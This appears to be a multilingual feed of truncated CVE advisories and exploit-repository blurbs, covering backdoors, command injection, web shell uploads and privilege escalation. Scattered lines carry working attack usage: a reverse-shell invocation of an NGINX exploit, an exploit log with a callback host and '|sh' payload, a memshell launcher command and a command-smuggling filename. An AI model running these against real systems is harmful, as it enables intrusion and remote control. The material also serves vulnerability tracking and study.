CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL Utilisation ps : Version testée : 8.5.1. D'autres versions fonctionnent probablement aussi, mais n'ont pas été testées. Contenu basé sur l'outil précédent du maître BeiChen. java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url motdepassegodzilla clégodzilla...

CVE-2026-82928 Undocumented access path in mH-DEVELOPER

mH-DEVELOPER smart home module contains a hardcoded SSH public key in /root/.ssh/authorizedkeys, serving as a potential backdoor. The SSH daemon allows root login via key authentication and starts automatically. An attacker with the matching private key can gain a root shell on any affected devic...

CVE-2026-82928 Undocumented access path in mH-DEVELOPER

mH-DEVELOPER smart home module contains a hardcoded SSH public key in /root/.ssh/authorizedkeys, serving as a potential backdoor. The SSH daemon allows root login via key authentication and starts automatically. An attacker with the matching private key can gain a root shell on any affected devic...

EUVD-2026-88228

mH-DEVELOPER smart home module contains a hardcoded SSH public key in /root/.ssh/authorizedkeys, serving as a potential backdoor. The SSH daemon allows root login via key authentication and starts automatically. An attacker with the matching private key can gain a root shell on any affected devic...

CVE-2026-82928

The mH-DEVELOPER smart home module contains a hardcoded SSH public key within /root/.ssh/authorized_keys, which functions as a potential backdoor . Because the SSH daemon starts automatically and permits root login via key authentication, an attacker possessing the matching private key can obtain...

CVE-2024-3400

CVE-2024-3400 : Vulnérabilité d'injection de commandes OS Description : CVE-2024-3400 est une vulnérabilité de sécurité affectant les applications ou services qui acceptent des entrées utilisateur et exécutent des commandes du système d'exploitation en fonction de ces entrées sans validation...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image Только скриптовая цепочка повышения привилегий с использованием CVE-2025-6019 и UDisks2 образ файловой системы не включён. Credits, Context & Exploit Chain Этот репозиторий не вводит новую уязвимость. Реализованная здесь техника повышения привилегий полностью...

CVE-2026-91006

A flaw was found in Apache Karaf. An attacker with access to instance-management commands or Java Management Extensions JMX interfaces can achieve arbitrary command execution on the underlying host system. This issue occurs because user-supplied Java options are spliced directly into child-instan...

TraditionalJay

TraditionalJay Boutique classique / traditionnelle intentionnellement vulnérable pour ateliers de sécurité — Java sur une VM EC2, Azure VM, ou GCP Compute Engine, pas de conteneurs. Scénario principal : Compromission critique de VM — Injection SQL → Log4Shell CVE-2021-44228 → reverse shell vers u...

CVE-2022-0847-DirtyPipe-Exploit

Что это такое Это proof of concept Макса Келлермана для Dirty Pipe, но модифицированный для перезаписи поля пароля root в /etc/passwd и восстановления после получения root-оболочки. Примечание: Я не претендую на заслуги в обнаружении этой уязвимости или написании proof of concept. Этот эксплойт —...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

POC-CVE-2026-19681

CVE-2026-19681 — внедрение команд при обработке загрузки файлов с аутентификацией Статус: ПОДТВЕРЖДЕНО в лаборатории 6.7.2-14.el9 2026-08-20. Промежуточное имя файла p;sleep$IFS20;-EvvfJk через POST /rest/file/upload префикс контекста содержит метасимволы, затем POST /rest/auditFile type=scapLinu...

CVE-2026-4480

Выполнение эксплойта: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...

EUVD-2026-88210

Apache Karaf's instance-management service InstanceServiceImpl builds the command line used to launch a child Karaf JVM by string concatenation, then executes it through /bin/sh Unix or cscript Windows. The caller-supplied javaOpts value is spliced into that string unquoted. A javaOpts value...

RevShell

🔥 Projet RevShell — Reverse Shell Windows Avancé ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...

Codiad-CVE-2018-14009

установка codiad @ git clone https://github.com/Codiad/Codiad.git Шаги воспроизведения 1. Настройте уязвимую среду на сервере Ubuntu с Codiad 2.8.4 последняя версия @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Contourner la connexion de mitigation de bludit et télécharger un fichier malveillant pour appeler un shell inversé...

Abyssal

🔥 Abyssal Сканер уязвимостей Telnet и эксплойт для CVE-2026-24061 Из глубин мы восстаём. Многопоточность, обнаружение ложных срабатываний, интерактивный root-шелл при успехе. 👨‍💻 Об авторе Этот проект создан опытным ИТ-специалистом с многолетней практической работой в области сетевой безопасности,...

CVE-2026-85134

Unrestricted upload of file with dangerous type vulnerability in Bimser Solution Software Trade Inc. EBA Plus Document and Workflow Management System allows Upload a Web Shell to a Web Server. This issue affects eBA Plus Document and Workflow Management System: from 6.7.141 before 10.0.11...

CVE-2022-41544

CVE-2022-41544 Эксплойт-скрипт Этот репозиторий содержит скрипт для эксплуатации уязвимости CVE-2022-41544 в GetSimple CMS. Скрипт выполняет несколько шагов: проверяет наличие уязвимостей, извлекает ключи API, устанавливает cookies, получает CSRF-токены, загружает оболочку и запускает её. Изменен...